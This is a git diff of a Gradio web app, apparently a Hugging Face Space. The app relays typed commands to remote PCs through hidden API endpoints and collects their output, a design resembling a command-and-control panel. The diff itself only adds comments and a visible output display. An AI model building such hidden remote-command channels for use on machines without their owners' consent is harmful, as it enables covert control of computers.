Spaces:
Running
Running
Update app.py
Browse files
app.py
CHANGED
@@ -57,7 +57,7 @@ def upload_output(name, password, output, sent_time):
|
|
57 |
status = json.load(f)
|
58 |
if name in status and status[name]["password"] == password:
|
59 |
received_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
|
60 |
-
# Format with
|
61 |
combined_output = (
|
62 |
f"Time Sent: {sent_time}\n"
|
63 |
"--------------------\n"
|
@@ -77,6 +77,7 @@ def get_output():
|
|
77 |
return data.get("output", "")
|
78 |
|
79 |
with gr.Blocks() as ui:
|
|
|
80 |
with gr.Row():
|
81 |
name_input = gr.Textbox(label="PC Name")
|
82 |
pass_input = gr.Textbox(label="Password", type="password")
|
@@ -84,18 +85,25 @@ with gr.Blocks() as ui:
|
|
84 |
check_output = gr.Textbox(label="Status")
|
85 |
check_btn.click(check_pc, inputs=name_input, outputs=check_output)
|
86 |
|
|
|
87 |
with gr.Row():
|
88 |
cmd_input = gr.Textbox(label="Command", lines=5) # Multi-line for larger scripts
|
89 |
send_btn = gr.Button("Send Command")
|
90 |
send_output = gr.Textbox(label="Response", lines=2)
|
91 |
send_btn.click(send_command, inputs=[name_input, pass_input, cmd_input], outputs=send_output)
|
92 |
|
|
|
|
|
|
|
|
|
|
|
|
|
93 |
# Hidden endpoints for PC polling and uploading output:
|
94 |
hidden_get_cmd_btn = gr.Button("Hidden Get Command", visible=False)
|
95 |
hidden_cmd_output = gr.Textbox(visible=False)
|
96 |
hidden_get_cmd_btn.click(get_command, inputs=[], outputs=hidden_cmd_output, api_name="/get_command")
|
97 |
|
98 |
-
# Hidden components for uploading output:
|
99 |
output_input = gr.Textbox(label="Output", visible=False)
|
100 |
sent_time_input = gr.Textbox(label="Sent Time", visible=False)
|
101 |
hidden_upload_btn = gr.Button("Hidden Upload Output", visible=False)
|
@@ -106,10 +114,5 @@ with gr.Blocks() as ui:
|
|
106 |
outputs=hidden_upload_output,
|
107 |
api_name="/upload_output"
|
108 |
)
|
109 |
-
|
110 |
-
# Hidden endpoint to retrieve output
|
111 |
-
hidden_get_output_btn = gr.Button("Hidden Get Output", visible=False)
|
112 |
-
hidden_get_output = gr.Textbox(visible=False)
|
113 |
-
hidden_get_output_btn.click(get_output, inputs=[], outputs=hidden_get_output, api_name="/get_output")
|
114 |
|
115 |
ui.launch(share=True)
|
|
|
57 |
status = json.load(f)
|
58 |
if name in status and status[name]["password"] == password:
|
59 |
received_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
|
60 |
+
# Format the output with "Time Sent", a divider, then "Time Received", another divider, and the actual output.
|
61 |
combined_output = (
|
62 |
f"Time Sent: {sent_time}\n"
|
63 |
"--------------------\n"
|
|
|
77 |
return data.get("output", "")
|
78 |
|
79 |
with gr.Blocks() as ui:
|
80 |
+
# PC info and status
|
81 |
with gr.Row():
|
82 |
name_input = gr.Textbox(label="PC Name")
|
83 |
pass_input = gr.Textbox(label="Password", type="password")
|
|
|
85 |
check_output = gr.Textbox(label="Status")
|
86 |
check_btn.click(check_pc, inputs=name_input, outputs=check_output)
|
87 |
|
88 |
+
# Command sending row
|
89 |
with gr.Row():
|
90 |
cmd_input = gr.Textbox(label="Command", lines=5) # Multi-line for larger scripts
|
91 |
send_btn = gr.Button("Send Command")
|
92 |
send_output = gr.Textbox(label="Response", lines=2)
|
93 |
send_btn.click(send_command, inputs=[name_input, pass_input, cmd_input], outputs=send_output)
|
94 |
|
95 |
+
# Visible output display row
|
96 |
+
with gr.Row():
|
97 |
+
get_output_btn = gr.Button("Get Command Output")
|
98 |
+
output_display = gr.Textbox(label="Command Output", lines=10)
|
99 |
+
get_output_btn.click(get_output, inputs=[], outputs=output_display)
|
100 |
+
|
101 |
# Hidden endpoints for PC polling and uploading output:
|
102 |
hidden_get_cmd_btn = gr.Button("Hidden Get Command", visible=False)
|
103 |
hidden_cmd_output = gr.Textbox(visible=False)
|
104 |
hidden_get_cmd_btn.click(get_command, inputs=[], outputs=hidden_cmd_output, api_name="/get_command")
|
105 |
|
106 |
+
# Hidden components for uploading output: includes a textbox for sent_time.
|
107 |
output_input = gr.Textbox(label="Output", visible=False)
|
108 |
sent_time_input = gr.Textbox(label="Sent Time", visible=False)
|
109 |
hidden_upload_btn = gr.Button("Hidden Upload Output", visible=False)
|
|
|
114 |
outputs=hidden_upload_output,
|
115 |
api_name="/upload_output"
|
116 |
)
|
|
|
|
|
|
|
|
|
|
|
117 |
|
118 |
ui.launch(share=True)
|